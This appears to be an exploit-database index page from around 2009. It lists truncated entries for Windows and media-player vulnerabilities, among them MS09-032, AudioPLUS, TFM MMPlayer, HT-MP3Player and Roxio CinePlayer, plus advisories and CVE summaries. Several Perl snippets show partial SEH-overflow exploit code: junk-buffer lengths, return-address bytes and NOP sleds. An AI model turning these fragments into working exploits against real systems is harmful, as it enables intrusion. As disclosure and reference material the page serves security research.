Immunity Canvas: MS09_032

Name| ms09032 ---|--- CVE| CVE-2008-0015 Exploit Pack| CANVAS Description| Microsoft DirectShow msvidctl.dll Vulnerability Notes| CVE Name: CVE-2008-0015 Vendor: Microsoft Notes: Tested against a Windows XP SP2 & SP3 English, German & Simplified Chinese with IE 6. IE 7 asks for confirmation befor...

Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption

This module exploits a memory corruption within the MSVidCtl component of Microsoft DirectShow BDATuner.MPEG2TuneRequest. By loading a specially crafted GIF file, an attacker can overrun a buffer and execute arbitrary code. ClassID is now configurable via an advanced option otherwise randomized -...

AudioPLUS 2.00.215 - .lst .m3u Local Buffer Overflow (SEH)

AudioPLUS 2.00.215 - .lst .m3u Local Buffer Overflow SEH !/usr/bin/perl by hack4love [email protected] AudioPLUS 2.00.215 .m3u / .lst File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4116; my $nsh="\xEB\x06\x90\x90"; ...

AudioPLUS 2.00.215 - '.lst' / '.m3u' Local Buffer Overflow (SEH)

!/usr/bin/perl by hack4love [email protected] AudioPLUS 2.00.215 .m3u / .lst File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4116; my $nsh="\xEB\x06\x90\x90"; my $seh="\xb8\x15\xd1\x72"; my $nop="\x90" x 20; my $sec=...

AudioPLUS 2.00.215 Buffer Overflow

!/usr/bin/perl by hack4love [email protected] AudioPLUS 2.00.215 .m3u / .lst File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4116; my $nsh="\xEB\x06\x90\x90"; my $seh="\xb8\x15\xd1\x72"; my $nop="\x90" x 20; my $sec=...

AudioPLUS 2.00.215 (.lst & .m3u File) Local buffer Overflow (seh)

Exploit for unknown platform in category local exploits ================================================================= AudioPLUS 2.00.215 .lst & .m3u File Local buffer Overflow seh ================================================================= !/usr/bin/perl by hack4love AudioPLUS 2.00.215...

TFM MMPlayer 2.0 - .m3u.ppl Universal Buffer Overflow (SEH)

TFM MMPlayer 2.0 - .m3u.ppl Universal Buffer Overflow SEH !/usr/bin/perl + Bug : TFM MMPlayer 2.0 m3u/ppl Universal Buffer Overflow Exploit SEH + Author : ThE g0bL!N Greetz to all my friends Tested on: Windows XP Pro SP2 Fr Big Thnx :His0k4 Download:http://www.tfm.ro/mmplayer/download/mmplayer.zi...

TFM MMPlayer 2.0 Buffer Overflow

!/usr/bin/perl + Bug : TFM MMPlayer 2.0 m3u/ppl Universal Buffer Overflow Exploit SEH + Author : ThE g0bL!N Greetz to all my friends Tested on: Windows XP Pro SP2 Fr Big Thnx :His0k4 Download:http://www.tfm.ro/mmplayer/download/mmplayer.zip win32exec - EXITFUNC=seh CMD=calc Size=343...

TFM MMPlayer 2.0 (m3u/ppl) Universal Buffer Overflow Exploit (SEH)

No description provided by source. !/usr/bin/perl + Bug : TFM MMPlayer 2.0 m3u/ppl Universal Buffer Overflow Exploit SEH + Author : ThE g0bL!N Greetz to all my friends Tested on: Windows XP Pro SP2 Fr Big Thnx :His0k4 Download:http://www.tfm.ro/mmplayer/download/mmplayer.zip win32exec -...

HT-MP3Player 1.0 Buffer Overflow

!/usr/bin/perl by hack4love [email protected] HT-MP3Player 1.0 .ht3 File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4108; my $nsh="\xEB\x06\x90\x90"; my $seh="\xbe\x2e\xd1\x72"; my $nop="\x90" x 20; my $sec=...

HT-MP3Player 1.0 - .ht3 Local Buffer Overflow (SEH)

HT-MP3Player 1.0 - .ht3 Local Buffer Overflow SEH !/usr/bin/perl by hack4love [email protected] HT-MP3Player 1.0 .ht3 File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4108; my $nsh="\xEB\x06\x90\x90"; my...

HT-MP3Player 1.0 - '.ht3' Local Buffer Overflow (SEH)

!/usr/bin/perl by hack4love [email protected] HT-MP3Player 1.0 .ht3 File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof="\x41" x 4108; my $nsh="\xEB\x06\x90\x90"; my $seh="\xbe\x2e\xd1\x72"; my $nop="\x90" x 20; my $sec=...

绿坝 3.17 URL Processing Buffer Overflow Exploit (meta)

No description provided by source. greendamurl.rb Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework Green Dam Youth Escort 3.17 successfully exploited on the following platforms: - Internet Explorer 6, Windows XP SP2 - Internet Explorer 7, Windows XP SP3 - Internet...

McAfee 3.6.0.608 - 'naPolicyManager.dll' ActiveX Arbitrary Data Write

GOODFELLAS Security Research TEAM http://goodfellas.shellcode.com.ar Greetings to str0ke McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write ============================================================================== Internal ID: VULWAR20090616. -----------...

[Full-disclosure] CA20090615-01: CA ARCserve Backup Message Engine Denial of Service Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: CA20090615-01: CA ARCserve Backup Message Engine Denial of Service Vulnerabilities CA Advisory Reference: CA20090615-01 CA Advisory Date: 2009-06-15 Reported By: iViZ Security Research Team Impact: A remote attacker can cause a denial of servic...

Microsoft Windows win32k.sys驱动本地权限提升漏洞(MS09-025)

BUGTRAQ ID: 35121 CVECAN ID: CVE-2009-1123 Microsoft Windows是微软发布的非常流行的操作系统。 Windows内核未能正确地验证某些内核对象中的更改的方式，导致权限提升漏洞。成功利用此漏洞的攻击者可以运行内核态中的任意代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP2 Microsoft Windows Vista SP1 Microsoft...

CVE-2009-1126: Improper Input Validation

The kernel in Microsoft Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2 does not properly validate the user-mode input associated with the editing of an unspecified desktop parameter, which allows local users to gain privileges via a crafted application, aka "Windows Desktop Parameter Edit...

Roxio CinePlayer 3.2 Buffer Overflow

Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Advisory from secunia 22251 By : Super-cristal Greetings: His0k4, snakespc.com Tested on Windows Xp Sp2 en,with IE7 shellcode =...

Roxio CinePlayer 3.2 - 'SonicMediaPlayer.dll' Remote Buffer Overflow

Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Advisory from secunia 22251 By : Super-cristal Greetings: His0k4, snakespc.com Tested on Windows Xp Sp2 en,with IE7 shellcode =...

Roxio CinePlayer 3.2 - SonicMediaPlayer.dll Remote Buffer Overflow

Roxio CinePlayer 3.2 - SonicMediaPlayer.dll Remote Buffer Overflow Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Roxio CinePlayer 3.2 SonicMediaPlayer.dll Remote BOF Exploit Advisory from secunia 22251 By : Super-cristal Greetings: His0k4, snakespc.com Tested on Windows Xp Sp2...